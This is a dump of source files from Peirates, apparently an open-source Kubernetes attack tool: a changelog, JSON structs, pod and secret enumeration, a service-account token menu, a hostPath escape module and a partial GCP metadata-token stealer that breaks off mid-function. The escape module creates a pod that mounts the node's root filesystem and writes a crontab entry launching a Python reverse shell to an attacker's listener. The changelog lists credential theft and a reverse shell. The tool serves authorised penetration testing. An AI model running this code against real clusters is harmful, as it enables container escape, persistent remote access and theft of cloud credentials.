v1.0.32 99 | 100 | - Many changes to appease the linter. 101 | - Regexp compiles to appease the linter, will also speed things a tiny bit. 102 | - Namespace switching checks inputs better. 103 | - More inputs trim whitespace. 104 | 105 | ## v1.0.31 106 | 107 | - adds an AWS version of the kops state bucket attack 108 | - This also refactors some of our AWS code. 109 | 110 | ## v1.0.30 111 | 112 | - You can now toggle Peirates' checking if each action is permitted by RBAC before doing it. 113 | - Added sub-menu item prose in addition to numbers. 114 | 115 | ## v1.0.29 116 | 117 | - adds custom headers to curl and IP address discovery for hostPath mounting trick 118 | 119 | ## v1.0.28a 120 | 121 | - Bugfix release - curl had been crashing when HTTP/s requests had no parameters. 122 | 123 | ## v1.0.28 124 | 125 | - This version adds a curl-style feature, such that the user can make arbitrary GET and POST requests. 126 | 127 | ## v1.0.27 128 | 129 | - This release adds non-numeric aliases for menu items and makes a few code-cleanups. 130 | 131 | ## v1.0.25 132 | 133 | - Added AWS S3 bucket list and content list capabilities 134 | 135 | ## v1.0.24 136 | 137 | - Added error fall through to the injection into other pods, making this more beautiful. 138 | 139 | ## v1.0.23 140 | 141 | - Updated version number and cleaned up print statements. 142 | 143 | ## v1.0.22 144 | 145 | - Implemented the insert-peirates-into-another-pod - more coming. 146 | 147 | ## v1.0.21 148 | 149 | - Changed a path for service accounts mounted into pods from /run/secrets/... to /var/run/secrets/... 150 | 151 | ## v1.0.20 152 | 153 | - This release adds a flexible kubectl menu item, allowing you to use the service account tokens you've acquired flexibly to perform actions that don't yet have menu items. 154 | 155 | ## v1.0.19 156 | - Refactored URL requests and JSON parsing 157 | 158 | ## v1.0.18 159 | - Allowed for long-running kube-exec commands by excepting them from the timers 160 | 161 | ## v1.0.17 162 | 163 | - In this release, we've adjusted the service account token-gathering functions to store the tokens automatically for re-use 164 | 165 | ## v1.0.16 166 | 167 | - Added ability to switch to a service account at the time you enter it. 168 | - Minor UI changes. 169 | 170 | ## v1.0.15 171 | 172 | - Final "Break Glass" release for demos 173 | 174 | ## v1.0.14 175 | 176 | - See 177 | 178 | ## v1.0.11 179 | 180 | - This release adds credential theft via GCS, refactors the menu and is the current pre-conference "break glass" release, having received testing at thoroughness level 4/5. 181 | 182 | ## v1.0.10 183 | 184 | - Auth checks added to avoid crashes when requested action isn't allowed 185 | 186 | ## v1.0.9 187 | 188 | - Reverse TCP shell added 189 | -------------------------------------------------------------------------------- /json_structs.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import "time" 4 | 5 | // MountInfo is used by mountRootfs 6 | type MountInfo struct { 7 | yamlBuild string 8 | image string 9 | namespace string 10 | } 11 | 12 | // KubeRoles are used for JSON parsing 13 | type KubeRoles struct { 14 | APIVersion string `json:"apiVersion"` 15 | Items []struct { 16 | APIVersion string `json:"apiVersion"` 17 | Kind string `json:"kind"` 18 | Metadata struct { 19 | Annotations struct { 20 | KubectlKubernetesIoLastAppliedConfiguration string `json:"kubectl.kubernetes.io/last-applied-configuration"` 21 | } `json:"annotations"` 22 | CreationTimestamp time.Time `json:"creationTimestamp"` 23 | Name string `json:"name"` 24 | Namespace string `json:"namespace"` 25 | ResourceVersion string `json:"resourceVersion"` 26 | SelfLink string `json:"selfLink"` 27 | UID string `json:"uid"` 28 | } `json:"metadata"` 29 | Rules []struct { 30 | APIGroups []string `json:"apiGroups"` 31 | Resources []string `json:"resources"` 32 | Verbs []string `json:"verbs"` 33 | } `json:"rules"` 34 | } `json:"items"` 35 | Kind string `json:"kind"` 36 | Metadata struct { 37 | ResourceVersion string `json:"resourceVersion"` 38 | SelfLink string `json:"selfLink"` 39 | } `json:"metadata"` 40 | } 41 | 42 | // PodDetails is populated by GetPodsInfo (JSON parsing from kubectl get pods) 43 | type PodDetails struct { 44 | APIVersion string `json:"apiVersion"` 45 | Items []struct { 46 | APIVersion string `json:"apiVersion"` 47 | Kind string `json:"kind"` 48 | Metadata struct { 49 | Annotations struct { 50 | KubectlKubernetesIoLastAppliedConfiguration string `json:"kubectl.kubernetes.io/last-applied-configuration"` 51 | } `json:"annotations"` 52 | CreationTimestamp time.Time `json:"creationTimestamp"` 53 | Labels struct { 54 | App string `json:"app"` 55 | } `json:"labels"` 56 | Name string `json:"name"` 57 | Namespace string `json:"namespace"` 58 | ResourceVersion string `json:"resourceVersion"` 59 | SelfLink string `json:"selfLink"` 60 | UID string `json:"uid"` 61 | } `json:"metadata"` 62 | Spec struct { 63 | Containers []struct { 64 | Image string `json:"image"` 65 | ImagePullPolicy string `json:"imagePullPolicy"` 66 | Name string `json:"name"` 67 | Ports []struct { 68 | ContainerPort int `json:"containerPort"` 69 | Protocol string `json:"protocol"` 70 | } `json:"ports"` 71 | Resources struct { 72 | } `json:"resources"` 73 | TerminationMessagePath string `json:"terminationMessagePath"` 74 | TerminationMessagePolicy string `json:"terminationMessagePolicy"` 75 | VolumeMounts []struct { 76 | MountPath string `json:"mountPath"` 77 | Name string `json:"name"` 78 | ReadOnly bool `json:"readOnly"` 79 | } `json:"volumeMounts"` 80 | } `json:"containers"` 81 | DNSPolicy string `json:"dnsPolicy"` 82 | NodeName string `json:"nodeName"` 83 | NodeSelector struct { 84 | KubernetesIoHostname string `json:"kubernetes.io/hostname"` 85 | } `json:"nodeSelector"` 86 | RestartPolicy string `json:"restartPolicy"` 87 | SchedulerName string `json:"schedulerName"` 88 | SecurityContext struct { 89 | } `json:"securityContext"` 90 | ServiceAccount string `json:"serviceAccount"` 91 | ServiceAccountName string `json:"serviceAccountName"` 92 | TerminationGracePeriodSeconds int `json:"terminationGracePeriodSeconds"` 93 | Tolerations []struct { 94 | Effect string `json:"effect"` 95 | Key string `json:"key"` 96 | Operator string `json:"operator"` 97 | TolerationSeconds int `json:"tolerationSeconds"` 98 | } `json:"tolerations"` 99 | Volumes []struct { 100 | HostPath struct { 101 | Path string `json:"path"` 102 | Type string `json:"type"` 103 | } `json:"hostPath,omitempty"` 104 | Name string `json:"name"` 105 | Secret struct { 106 | DefaultMode int `json:"defaultMode"` 107 | SecretName string `json:"secretName"` 108 | } `json:"secret,omitempty"` 109 | } `json:"volumes"` 110 | } `json:"spec"` 111 | Status struct { 112 | Conditions []struct { 113 | LastProbeTime interface{} `json:"lastProbeTime"` 114 | LastTransitionTime time.Time `json:"lastTransitionTime"` 115 | Status string `json:"status"` 116 | Type string `json:"type"` 117 | } `json:"conditions"` 118 | ContainerStatuses []struct { 119 | ContainerID string `json:"containerID"` 120 | Image string `json:"image"` 121 | ImageID string `json:"imageID"` 122 | LastState struct { 123 | Terminated struct { 124 | ContainerID string `json:"containerID"` 125 | ExitCode int `json:"exitCode"` 126 | FinishedAt time.Time `json:"finishedAt"` 127 | Reason string `json:"reason"` 128 | StartedAt time.Time `json:"startedAt"` 129 | } `json:"terminated"` 130 | } `json:"lastState"` 131 | Name string `json:"name"` 132 | Ready bool `json:"ready"` 133 | RestartCount int `json:"restartCount"` 134 | State struct { 135 | Running *struct { 136 | StartedAt time.Time `json:"startedAt"` 137 | } `json:"running"` 138 | } `json:"state"` 139 | } `json:"containerStatuses"` 140 | HostIP string `json:"hostIP"` 141 | Phase string `json:"phase"` 142 | PodIP string `json:"podIP"` 143 | QosClass string `json:"qosClass"` 144 | StartTime time.Time `json:"startTime"` 145 | } `json:"status"` 146 | } `json:"items"` 147 | Kind string `json:"kind"` 148 | Metadata struct { 149 | ResourceVersion string `json:"resourceVersion"` 150 | SelfLink string `json:"selfLink"` 151 | } `json:"metadata"` 152 | } 153 | 154 | // SecretDetails unmarshalls secrets 155 | type SecretDetails struct { 156 | Data []struct { 157 | Namespace string `json:"namespace"` 158 | Token string `json:"token"` 159 | } 160 | Metadata struct { 161 | Name string `json:"name"` 162 | } 163 | SecretType string `json:"type"` 164 | } 165 | 166 | // GetNodeDetails unmarshalls node data 167 | type GetNodeDetails struct { 168 | Items []struct { 169 | Metadata struct { 170 | Name string `json:"name"` 171 | } `json:"metadata"` 172 | Status struct { 173 | Addresses []struct { 174 | Address string `json:"address"` 175 | Type string `json:"type"` 176 | } `json:"addresses"` 177 | } `json:"status"` 178 | } `json:"items"` 179 | } 180 | 181 | type AWSS3BucketObject struct { 182 | Data string `json:"Data"` 183 | } 184 | 185 | type PodNamespaceContainerTuple struct { 186 | PodName string 187 | PodNamespace string 188 | ContainerName string 189 | } 190 | -------------------------------------------------------------------------------- /enumerate_simple_objects.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | ) 7 | 8 | // GetPodsInfo gets details for all pods in json output and stores in PodDetails struct 9 | func GetPodsInfo(connectionString ServerInfo, podDetails *PodDetails) { 10 | 11 | if !kubectlAuthCanI(connectionString, "get", "pods") { 12 | println("[-] Permission Denied: your service account isn't allowed to get pods") 13 | return 14 | } 15 | 16 | println("[+] Getting details for all pods") 17 | podDetailOut, _, err := runKubectlSimple(connectionString, "get", "pods", "-o", "json") 18 | println(string(podDetailOut)) 19 | if err != nil { 20 | println("[-] Unable to retrieve details from this pod: ", err) 21 | } else { 22 | println("[+] Retrieving details for all pods was successful: ") 23 | err := json.Unmarshal(podDetailOut, &podDetails) 24 | if err != nil { 25 | println("[-] Error unmarshaling data: ", err) 26 | } 27 | } 28 | } 29 | 30 | // PrintHostMountPoints prints all pods' host volume mounts parsed from the Spec.Volumes pod spec by GetPodsInfo() 31 | func PrintHostMountPoints(podInfo PodDetails) { 32 | println("[+] Getting all host mount points for pods in current namespace") 33 | for _, item := range podInfo.Items { 34 | // println("+ Host Mount Points for Pod: " + item.Metadata.Name) 35 | for _, volume := range item.Spec.Volumes { 36 | if volume.HostPath.Path != "" { 37 | println("\tHost Mount Point: " + string(volume.HostPath.Path) + " found for pod " + item.Metadata.Name) 38 | } 39 | } 40 | } 41 | } 42 | 43 | // PrintHostMountPointsForPod prints a single pod's host volume mounts parsed from the Spec.Volumes pod spec by GetPodsInfo() 44 | func PrintHostMountPointsForPod(podInfo PodDetails, pod string) { 45 | println("[+] Getting all Host Mount Points only for pod: " + pod) 46 | for _, item := range podInfo.Items { 47 | if item.Metadata.Name == pod { 48 | for _, volume := range item.Spec.Volumes { 49 | if volume.HostPath.Path != "" { 50 | println("\tHost Mount Point: " + string(volume.HostPath.Path)) 51 | } 52 | } 53 | } 54 | } 55 | } 56 | 57 | // GetRoles enumerates all roles in use on the cluster (in the default namespace). 58 | // It parses all roles into a KubeRoles object. 59 | func GetRoles(connectionString ServerInfo, kubeRoles *KubeRoles) { 60 | println("[+] Getting all Roles") 61 | rolesOut, _, err := runKubectlSimple(connectionString, "get", "role", "-o", "json") 62 | if err != nil { 63 | println("[-] Unable to retrieve roles from this pod: ", err) 64 | } else { 65 | println("[+] Retrieving roles was successful: ") 66 | err := json.Unmarshal(rolesOut, &kubeRoles) 67 | if err != nil { 68 | println("[-] Error unmarshaling data: ", err) 69 | } 70 | 71 | } 72 | } 73 | 74 | // GetNodesInfo runs kubectl get nodes -o json. 75 | func GetNodesInfo(connectionString ServerInfo) { 76 | println("[+] Getting details for all pods") 77 | podDetailOut, _, err := runKubectlSimple(connectionString, "get", "nodes", "-o", "json") 78 | println(string(podDetailOut)) 79 | if err != nil { 80 | println("[-] Unable to retrieve node details: ", err) 81 | } 82 | } 83 | 84 | // getPodList returns an array of running pod information, parsed from "kubectl -n namespace get pods -o json" 85 | func getPodList(connectionString ServerInfo) []string { 86 | 87 | if !kubectlAuthCanI(connectionString, "get", "pods") { 88 | println("[-] Permission Denied: your service account isn't allowed to get pods") 89 | return []string{} 90 | } 91 | 92 | responseJSON, _, err := runKubectlSimple(connectionString, "get", "pods", "-o", "json") 93 | if err != nil { 94 | fmt.Printf("[-] Error while getting pods: %s\n", err.Error()) 95 | return []string{} 96 | } 97 | 98 | type PodsResponse struct { 99 | Items []struct { 100 | Metadata struct { 101 | Name string `json:"name"` 102 | } `json:"metadata"` 103 | } `json:"items"` 104 | } 105 | 106 | var response PodsResponse 107 | err = json.Unmarshal(responseJSON, &response) 108 | if err != nil { 109 | fmt.Printf("[-] Error while getting pods: %s\n", err.Error()) 110 | return []string{} 111 | } 112 | 113 | pods := make([]string, len(response.Items)) 114 | 115 | for i, pod := range response.Items { 116 | pods[i] = pod.Metadata.Name 117 | } 118 | 119 | return pods 120 | } 121 | 122 | // Get the names of the available Secrets from the current namespace and a list of service account tokens 123 | func getSecretList(connectionString ServerInfo) ([]string, []string) { 124 | 125 | if !kubectlAuthCanI(connectionString, "get", "secrets") { 126 | println("[-] Permission Denied: your service account isn't allowed to list secrets") 127 | return []string{}, []string{} 128 | } 129 | 130 | type SecretsResponse struct { 131 | Items []struct { 132 | Metadata struct { 133 | Name string `json:"name"` 134 | } `json:"metadata"` 135 | Type string `json:"type"` 136 | } `json:"items"` 137 | } 138 | 139 | secretsJSON, _, err := runKubectlSimple(connectionString, "get", "secrets", "-o", "json") 140 | if err != nil { 141 | fmt.Printf("[-] Error while getting secrets: %s\n", err.Error()) 142 | return []string{}, []string{} 143 | } 144 | 145 | var response SecretsResponse 146 | err = json.Unmarshal(secretsJSON, &response) 147 | if err != nil { 148 | fmt.Printf("[-] Error while getting secrets: %s\n", err.Error()) 149 | return []string{}, []string{} 150 | } 151 | 152 | secrets := make([]string, len(response.Items)) 153 | var serviceAccountTokens []string 154 | 155 | for i, secret := range response.Items { 156 | secrets[i] = secret.Metadata.Name 157 | if secret.Type == "kubernetes.io/service-account-token" { 158 | serviceAccountTokens = append(serviceAccountTokens, secret.Metadata.Name) 159 | } 160 | } 161 | 162 | return secrets, serviceAccountTokens 163 | } 164 | 165 | func printListOfPods(connectionString ServerInfo) { 166 | println("\n[+] Printing a list of Pods in this namespace......") 167 | runningPods := getPodList(connectionString) 168 | for _, listpod := range runningPods { 169 | println("[+] Pod Name: " + listpod) 170 | } 171 | 172 | } 173 | 174 | func findVolumeMounts(connectionString ServerInfo, podInfo *PodDetails) { 175 | println(` 176 | [1] Get all host mount points [all]") 177 | [2] Get volume mount points for a specific pod [single]") 178 | `) 179 | fmt.Printf("\nPeirates (volMounts):># ") 180 | 181 | var input string 182 | _, err := fmt.Scanln(&input) 183 | if err != nil { 184 | println("Problem with scanln: %v", err) 185 | return 186 | } 187 | 188 | GetPodsInfo(connectionString, podInfo) 189 | 190 | switch input { 191 | case "1", "all": 192 | println("[+] Getting volume mounts for all pods") 193 | // BUG: Need to make it so this Get doesn't print all info even though it gathers all info. 194 | PrintHostMountPoints(*podInfo) 195 | 196 | //MountRootFS(allPods, connectionString) 197 | case "2", "single": 198 | println("[+] Please provide the pod name: ") 199 | var userResponse string 200 | _, err = fmt.Scanln(&userResponse) 201 | fmt.Printf("[+] Printing volume mount points for %s\n", userResponse) 202 | PrintHostMountPointsForPod(*podInfo, userResponse) 203 | } 204 | } 205 | -------------------------------------------------------------------------------- /menu_serviceaccounts.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io" 7 | "os" 8 | "strings" 9 | 10 | "github.com/ergochat/readline" 11 | ) 12 | 13 | func setUpCompletionSaMenu() *readline.PrefixCompleter { 14 | completer := readline.NewPrefixCompleter( 15 | // [1] List service accounts [list] 16 | readline.PcItem("listsa"), 17 | // [2] Switch primary service account [switch] 18 | readline.PcItem("switchsa"), 19 | // [3] Enter new service account JWT [add] 20 | readline.PcItem("add"), 21 | // [4] Export service accounts to JSON [export] 22 | readline.PcItem("export"), 23 | // [5] Import service accounts from JSON [import] 24 | readline.PcItem("import"), 25 | // [6] Decode a stored or entered service account token (JWT) [decode] 26 | readline.PcItem("decode"), 27 | // [7] Display a stored service account token in its raw form [display] 28 | readline.PcItem("display"), 29 | ) 30 | return completer 31 | } 32 | 33 | func saMenu(serviceAccounts *[]ServiceAccount, connectionString *ServerInfo, interactive bool, logToFile bool, outputFileName string) { 34 | 35 | // Set up main menu tab completion 36 | var completer *readline.PrefixCompleter = setUpCompletionSaMenu() 37 | 38 | l, err := readline.NewEx(&readline.Config{ 39 | Prompt: "\033[31m»\033[0m ", 40 | HistoryFile: "/tmp/peirates.history", 41 | AutoComplete: completer, 42 | InterruptPrompt: "^C", 43 | EOFPrompt: "exit", 44 | 45 | HistorySearchFold: true, 46 | // FuncFilterInputRune: filterInput, 47 | }) 48 | if err != nil { 49 | panic(err) 50 | } 51 | defer l.Close() 52 | // l.CaptureExitSignal() 53 | 54 | if len(connectionString.TokenName) != 0 { 55 | println("Current primary service account: ", connectionString.TokenName) 56 | } 57 | 58 | println(` 59 | [1] List service accounts [listsa] 60 | [2] Switch primary service account [switchsa] 61 | [3] Enter new service account JWT [add] 62 | [4] Export service accounts to JSON [export] 63 | [5] Import service accounts from JSON [import] 64 | [6] Decode a stored or entered service account token (JWT) [decode] 65 | [7] Display a stored service account token in its raw form [display] 66 | `) 67 | fmt.Printf("\nPeirates (service account menu):># ") 68 | 69 | var input string 70 | 71 | line, err := l.Readline() 72 | if err == readline.ErrInterrupt { 73 | if len(line) == 0 { 74 | println("Empty line") 75 | pauseToHitEnter(interactive) 76 | return 77 | } 78 | } else if err == io.EOF { 79 | println("Empty line") 80 | pauseToHitEnter(interactive) 81 | return 82 | } 83 | input = strings.TrimSpace(line) 84 | 85 | switch strings.ToLower(input) { 86 | case "1", "list", "listsa": 87 | listServiceAccounts(*serviceAccounts, *connectionString, logToFile, outputFileName) 88 | case "2", "switch", "switchsa": 89 | switchServiceAccounts(*serviceAccounts, connectionString, logToFile, outputFileName) 90 | case "3", "add": 91 | serviceAccount, err := acceptServiceAccountFromUser() 92 | if err != nil { 93 | fmt.Printf("Error accepting service account - encountered error: %s\n", err.Error()) 94 | pauseToHitEnter(interactive) 95 | return 96 | } 97 | *serviceAccounts = append(*serviceAccounts, serviceAccount) 98 | 99 | println(` 100 | [1] Switch to this service account 101 | [2] Maintain current service account 102 | `) 103 | fmt.Printf("\nPeirates (add svc acct):># ") 104 | 105 | _, err = fmt.Scanln(&input) 106 | if err != nil { 107 | fmt.Printf("Error reading input: %s\n", err.Error()) 108 | pauseToHitEnter(interactive) 109 | return 110 | } 111 | 112 | switch input { 113 | case "1": 114 | assignServiceAccountToConnection(serviceAccount, connectionString) 115 | 116 | case "2": 117 | pauseToHitEnter(interactive) 118 | return 119 | default: 120 | println("Input not understood - adding service account but not switching context") 121 | } 122 | println("") 123 | case "4", "export", "exportsa": 124 | serviceAccountJSON, err := json.Marshal(serviceAccounts) 125 | if err != nil { 126 | fmt.Printf("[-] Error exporting service accounts: %s\n", err.Error()) 127 | pauseToHitEnter(interactive) 128 | return 129 | } else { 130 | outputToUser(string(serviceAccountJSON), logToFile, outputFileName) 131 | } 132 | case "5", "import", "importsa": 133 | var newserviceAccounts []ServiceAccount 134 | println("Please enter service account token") 135 | err := json.NewDecoder(os.Stdin).Decode(&newserviceAccounts) 136 | if err != nil { 137 | fmt.Printf("[-] Error importing service accounts: %s\n", err.Error()) 138 | pauseToHitEnter(interactive) 139 | return 140 | } else { 141 | *serviceAccounts = append(*serviceAccounts, newserviceAccounts...) 142 | fmt.Printf("[+] Successfully imported service accounts\n") 143 | } 144 | case "6", "decode": 145 | decodeTokenInteractive(*serviceAccounts, connectionString, logToFile, outputFileName, interactive) 146 | case "7", "display": 147 | displayServiceAccountTokenInteractive(*serviceAccounts, connectionString, logToFile, outputFileName) 148 | 149 | } 150 | } 151 | 152 | func decodeTokenInteractive(serviceAccounts []ServiceAccount, connectionString *ServerInfo, logToFile bool, outputFileName string, interactive bool) { 153 | var token string 154 | println(` 155 | 1) Decode a JWT entered via a string. 156 | 2) Decode a service account token stored here. 157 | 158 | `) 159 | fmt.Printf("\nPeirates (decode):># ") 160 | 161 | var input string 162 | _, err := fmt.Scanln(&input) 163 | 164 | if err != nil { 165 | fmt.Printf("[-] Error reading input: %s\n", err.Error()) 166 | pauseToHitEnter(interactive) 167 | return 168 | } 169 | 170 | switch input { 171 | case "1": 172 | println("\nEnter a JWT: ") 173 | _, err = fmt.Scanln(&token) 174 | if err != nil { 175 | print("Error reading input: %s\n", err.Error()) 176 | pauseToHitEnter(interactive) 177 | return 178 | } 179 | jwt := decodeJWT(token) 180 | fmt.Printf("\nHeader: %s\nPayload: %s\nSignature: %s\n", jwt.Header, jwt.PrettyPrintPayload(), jwt.Signature) 181 | 182 | case "2": 183 | println("\nAvailable Service Accounts:") 184 | for i, account := range serviceAccounts { 185 | if account.Name == connectionString.TokenName { 186 | fmt.Printf("> [%d] %s\n", i, account.Name) 187 | } else { 188 | fmt.Printf(" [%d] %s\n", i, account.Name) 189 | } 190 | } 191 | println("\nEnter service account number or exit to abort: ") 192 | var tokNum int 193 | _, err = fmt.Scanln(&input) 194 | if input == "exit" { 195 | pauseToHitEnter(interactive) 196 | return 197 | } 198 | _, err := fmt.Sscan(input, &tokNum) 199 | if err != nil { 200 | fmt.Printf("Error parsing service account selection: %s\n", err.Error()) 201 | pauseToHitEnter(interactive) 202 | return 203 | } else if tokNum < 0 || tokNum >= len(serviceAccounts) { 204 | fmt.Printf("Service account %d does not exist!\n", tokNum) 205 | pauseToHitEnter(interactive) 206 | return 207 | } else { 208 | jwt := decodeJWT((serviceAccounts)[tokNum].Token) 209 | fmt.Printf("\nHeader: %s\nPayload: %s\nSignature: %s\n", jwt.Header, jwt.PrettyPrintPayload(), jwt.Signature) 210 | } 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /attack_create_hostfs_pod.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "os" 7 | "regexp" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func attackHostPathMount(connectionString ServerInfo, interactive bool) { 13 | 14 | allPods := getPodList(connectionString) 15 | 16 | // Before presenting all IP addresses, give the user the IP address for eth0 if available. 17 | eth0IP, err := GetMyIPAddress("eth0") 18 | if err != nil { 19 | fmt.Println("IP address for eth0 is ", eth0IP) 20 | } 21 | 22 | println("Your IP addresses: ") 23 | GetMyIPAddressesNative() 24 | 25 | println("What IP and Port will your netcat listener be listening on?") 26 | var ip, port string 27 | println("IP:") 28 | _, err = fmt.Scanln(&ip) 29 | if err != nil { 30 | println("[-] Error reading IP address.") 31 | pauseToHitEnter(interactive) 32 | return 33 | } 34 | println("Port:") 35 | _, err = fmt.Scanln(&port) 36 | if err != nil { 37 | println("[-] Error reading port.") 38 | pauseToHitEnter(interactive) 39 | return 40 | } 41 | MountRootFS(allPods, connectionString, ip, port) 42 | } 43 | 44 | // MountRootFS creates a pod that mounts its node's root filesystem. 45 | func MountRootFS(allPodsListme []string, connectionString ServerInfo, callbackIP, callbackPort string) { 46 | var MountInfoVars = MountInfo{} 47 | var err error 48 | 49 | // First, confirm we're allowed to create pods 50 | if !kubectlAuthCanI(connectionString, "create", "pod") { 51 | println("[-] AUTHORIZATION: this token isn't allowed to create pods in this namespace") 52 | return 53 | } 54 | // TODO: changing parsing to occur via JSON 55 | // TODO: check that image exists / handle failure by trying again with the next youngest pod's image or a named pod's image 56 | 57 | // Approach 1: Try to get the image file for my own pod 58 | //./kubectl describe pod `hostname`| grep Image: 59 | hostname := os.Getenv("HOSTNAME") 60 | approach1Success := false 61 | var image string 62 | podDescriptionRaw, _, err := runKubectlSimple(connectionString, "describe", "pod", hostname) 63 | if err != nil { 64 | approach1Success = false 65 | println("[-] DEBUG: describe pod didn't work") 66 | } else { 67 | podDescriptionLines := strings.Split(string(podDescriptionRaw), "\n") 68 | for _, line := range podDescriptionLines { 69 | start := strings.Index(line, "Image:") 70 | if start != -1 { 71 | // Found an Image line -- now get the image 72 | image = strings.TrimSpace(line[start+6:]) 73 | println("[+] Using your current pod's image:", image) 74 | approach1Success = true 75 | 76 | MountInfoVars.image = image 77 | } 78 | } 79 | if !approach1Success { 80 | println("[-] DEBUG: did not find an image line in your pod's definition.") 81 | } 82 | } 83 | 84 | if !approach1Success { 85 | // Approach 2 - use the most recently staged running pod 86 | // 87 | // TODO: re-order the list and stop the for loop as soon as we have the first running or as soon as we're able to make one of these work. 88 | 89 | // Future version of approach 2: 90 | // Let's make something to mount the root filesystem, but not pick the most recent one. Rather, 91 | // it should populate a list of all pods in the current namespace, then iterate through 92 | // images trying to find one that has a shell. 93 | 94 | // Here's the useful part of that data. 95 | 96 | // type PodDetails struct { 97 | // Items []struct { 98 | // Metadata struct { 99 | // Name string `json:"name"` 100 | // Namespace string `json:"namespace"` 101 | // } `json:"metadata"` 102 | // Spec struct { 103 | // Containers []struct { 104 | // Image string `json:"image" 105 | 106 | println("Getting image from the most recently-staged pod in thie namespace") 107 | getImagesRaw, _, err := runKubectlSimple(connectionString, "get", "pods", "-o", "wide", "--sort-by", "metadata.creationTimestamp") 108 | if err != nil { 109 | // If this fails, just go back to the menu. 110 | println("[-] ERROR: Could not get pods") 111 | return 112 | } 113 | 114 | emptyString := regexp.MustCompile(`^\s*$`) 115 | getImageLines := strings.Split(string(getImagesRaw), "\n") 116 | for _, line := range getImageLines { 117 | if !emptyString.MatchString(line) { 118 | //added checking to only enumerate running pods 119 | // TODO: check for potential bug: did we enumerate only running pods as intended? 120 | MountInfoVars.image = strings.Fields(line)[7] 121 | } 122 | } 123 | } 124 | 125 | //create random string 126 | randomString := randSeq(6) 127 | 128 | // Create pod manifest in YAML 129 | MountInfoVars.yamlBuild = fmt.Sprintf(`apiVersion: v1 130 | kind: Pod 131 | metadata: 132 | annotations: 133 | labels: 134 | name: attack-pod-%s 135 | namespace: %s 136 | spec: 137 | containers: 138 | - image: %s 139 | imagePullPolicy: IfNotPresent 140 | name: attack-container 141 | command: ["/bin/sh","-c","sleep infinity"] 142 | volumeMounts: 143 | - mountPath: /root 144 | name: mount-fsroot-into-slashroot 145 | restartPolicy: Never 146 | volumes: 147 | - name: mount-fsroot-into-slashroot 148 | hostPath: 149 | path: / 150 | `, randomString, connectionString.Namespace, MountInfoVars.image) 151 | 152 | // Write yaml file out to temp file 153 | manifestTmpFile, err := os.CreateTemp("/tmp", "attack-pod-manifest-*.yaml") 154 | if err != nil { 155 | println("[-] Unable to create temporary file to write a manifest.") 156 | return 157 | } 158 | _, error := manifestTmpFile.Write([]byte(MountInfoVars.yamlBuild)) 159 | if error != nil { 160 | println("[-] Unable to write file: attack-pod.yaml") 161 | return 162 | } 163 | 164 | _, _, err = runKubectlSimple(connectionString, "apply", "-f", "attack-pod.yaml") 165 | if err != nil { 166 | println("[-] Pod did not stage successfully.") 167 | return 168 | } else { 169 | attackPodName := "attack-pod-" + randomString 170 | println("[+] Executing code in " + attackPodName + " - please wait for Pod to stage") 171 | time.Sleep(5 * time.Second) 172 | stdin := strings.NewReader("* * * * * root python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + callbackIP + "\"," + callbackPort + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'\n") 173 | stdout := bytes.Buffer{} 174 | stderr := bytes.Buffer{} 175 | err := runKubectlWithConfig(connectionString, stdin, &stdout, &stderr, "exec", "-it", attackPodName, "--", "/bin/sh", "-c", "cat >> /root/etc/crontab") 176 | 177 | if err != nil { 178 | // BUG: when we remove that timer above and thus get an error condition, program crashes during the runKubectlSimple instead of reaching this message 179 | println("[-] Exec into that pod failed. If your privileges do permit this, the pod may have needed more time. Use this main menu option to try again: Run command in one or all pods in this namespace.") 180 | return 181 | } else { 182 | println("[+] Netcat callback added sucessfully.") 183 | println("[+] Removing attack pod.") 184 | err := runKubectlWithConfig(connectionString, stdin, &stdout, &stderr, "delete", "pod", attackPodName) 185 | if err != nil { 186 | println("May not have been able to delete attack pod.", err) 187 | } 188 | 189 | } 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /gcp.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/json" 6 | "errors" 7 | "fmt" 8 | "regexp" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | // Tokens returned by the metadata API will look like this, unless error has occurred: {"access_token":"xxxxxxx","expires_in":2511,"token_type":"Bearer"} 14 | type GCPToken struct { 15 | Token string `json:"access_token"` 16 | Expires int64 `json:"expires_in"` 17 | ExpirationTime time.Time 18 | Type string `json:"token_type"` 19 | } 20 | 21 | // GetGCPBearerTokenFromMetadataAPI takes the name of a GCP service account and returns a token, a time it will expire and an error 22 | func GetGCPBearerTokenFromMetadataAPI(account string) (string, time.Time, error) { 23 | 24 | headers := []HeaderLine{ 25 | HeaderLine{"Metadata-Flavor", "Google"}, 26 | } 27 | baseURL := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" 28 | urlSvcAccount := baseURL + account + "/token" 29 | 30 | reqTokenRaw, statusCode, err := GetRequest(urlSvcAccount, headers, false) 31 | if err != nil { 32 | fmt.Println("GetRequest in GetGCPBearerTokenFromMetadataAPI() failed with error", err) 33 | return "", time.Now(), err 34 | } 35 | 36 | if (reqTokenRaw == "") || (strings.HasPrefix(reqTokenRaw, "ERROR:")) || (statusCode != 200) { 37 | errorString := "[-] Error - could not perform request for " + urlSvcAccount 38 | println(errorString) 39 | return "", time.Now(), errors.New(errorString) 40 | } 41 | 42 | var token GCPToken 43 | err = json.Unmarshal([]byte(reqTokenRaw), &token) 44 | if err != nil { 45 | return "", time.Now(), err 46 | } 47 | 48 | // Remove any padding (...) from the token value. 49 | // Regexp: ^(.*[^.])\.*$ - grab the first match group from this. 50 | 51 | re := regexp.MustCompile(`^(.*[^.])\.*$`) 52 | if re.Match([]byte(token.Token)) { 53 | matches := re.FindSubmatch([]byte(token.Token)) 54 | token.Token = string(matches[1]) 55 | } 56 | 57 | if token.Type == "Bearer" { 58 | now := time.Now() 59 | expiration := 